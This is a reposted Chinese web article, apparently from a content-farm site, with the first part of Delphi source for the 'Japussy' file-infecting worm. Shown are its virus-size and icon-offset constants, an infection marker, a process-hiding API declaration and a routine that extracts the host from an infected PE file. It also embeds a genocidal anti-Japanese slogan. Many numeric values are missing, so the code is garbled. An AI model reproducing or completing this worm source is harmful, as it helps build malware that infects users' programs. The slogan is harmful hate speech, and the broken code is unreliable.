知识大全从“熊猫烧香”中学程序[1]

Posted 2022-07-22 文件

篇首语：聪明在于勤奋，天才在于积累。本文由小常识网(cha138.com)小编为大家整理，主要介绍了知识大全从“熊猫烧香”中学程序[1]相关的知识，希望对你有一定的参考价值。

　　本文来自互联网仅供学习和研究使用后果自行负责造成的任何损失与本站无关特此声明　　program Japussy;　　uses　　 Windows SysUtils Classes Graphics ShellAPI Registry;　　const　　 HeaderSize = ; //病毒体的大小　　 IconOffset = $ EB ; //PE文件主图标的偏移量　　 //在我的Delphi SP 上面编译得到的大小其它版本的Delphi可能不同　　 //查找的十六进制字符串可以找到主图标的偏移量　　　　 HeaderSize = ; //Upx压缩过病毒体的大小　　 IconOffset = $ BC; //Upx压缩过PE文件主图标的偏移量　　 //Upx W 用法: upx Japussy exe　　　　 IconSize = $ E ; //PE文件主图标的大小字节　　 IconTail = IconOffset + IconSize; //PE文件主图标的尾部　　 ID = $ ; //感染标记　　 //垃圾码以备写入　　 Catchword = If a race need to be killed out it must be Yamato + 　　 If a country need to be destroyed it must be Japan! + 　　 *** W Japussy Worm A *** ;　　$R * RES　　function RegisterServiceProcess(dwProcessID dwType: Integer): Integer; 　　 stdcall; external Kernel dll ; //函数声明　　var　　 TmpFile: string;　　 Si: STARTUPINFO;　　 Pi: PROCESS_INFORMATION;　　 IsJap: Boolean = False; //日文操作系统标记　　判断是否为Win x 　　function IsWin x: Boolean;　　var　　 Ver: TOSVersionInfo;　　begin　　 Result := False;　　 Ver dwOSVersionInfoSize := SizeOf(TOSVersionInfo);　　 if not GetVersionEx(Ver) then Exit; if (Ver dwPlatformID = VER_PLATFORM_WIN _WINDOWS) then //Win x Result := True;　　end;　　在流之间复制　　procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream; 　　dStartPos: Integer; Count: Integer);　　var 　　 sCurPos dCurPos: Integer;　　begin　　 sCurPos := Src Position; 　　 dCurPos := Dst Position; 　　 Src Seek(sStartPos ); 　　 Dst Seek(dStartPos ); 　　 Dst CopyFrom(Src Count); 　　 Src Seek(sCurPos ); 　　 Dst Seek(dCurPos );　　end;　　将宿主文件从已感染的PE文件中分离出来以备使用　　procedure ExtractFile(FileName: string);　　var 　　 sStream dStream: TFileStream;　　begin　　 try　　 sStream := TFileStream Create(ParamStr( ) fmOpenRead or 　　fmShareDenyNone); 　　 try 　　 dStream := TFileStream Create(FileName fmCreate); 　　 try 　　 sStream Seek(HeaderSize ); //跳过头部的病毒部分　　 dStream CopyFrom(sStream sStream Size HeaderSize); 　　 finally 　　 dStream Free; 　　　　 end; 　　 finally 　　 sStream Free; 　　 end; 　　except 　　end;　　end;　　填充STARTUPINFO结构

cha138/Article/program/Delphi/201311/8473

知识大全 从“熊猫烧香”中学程序[1]

知识大全从“熊猫烧香”中学程序[1]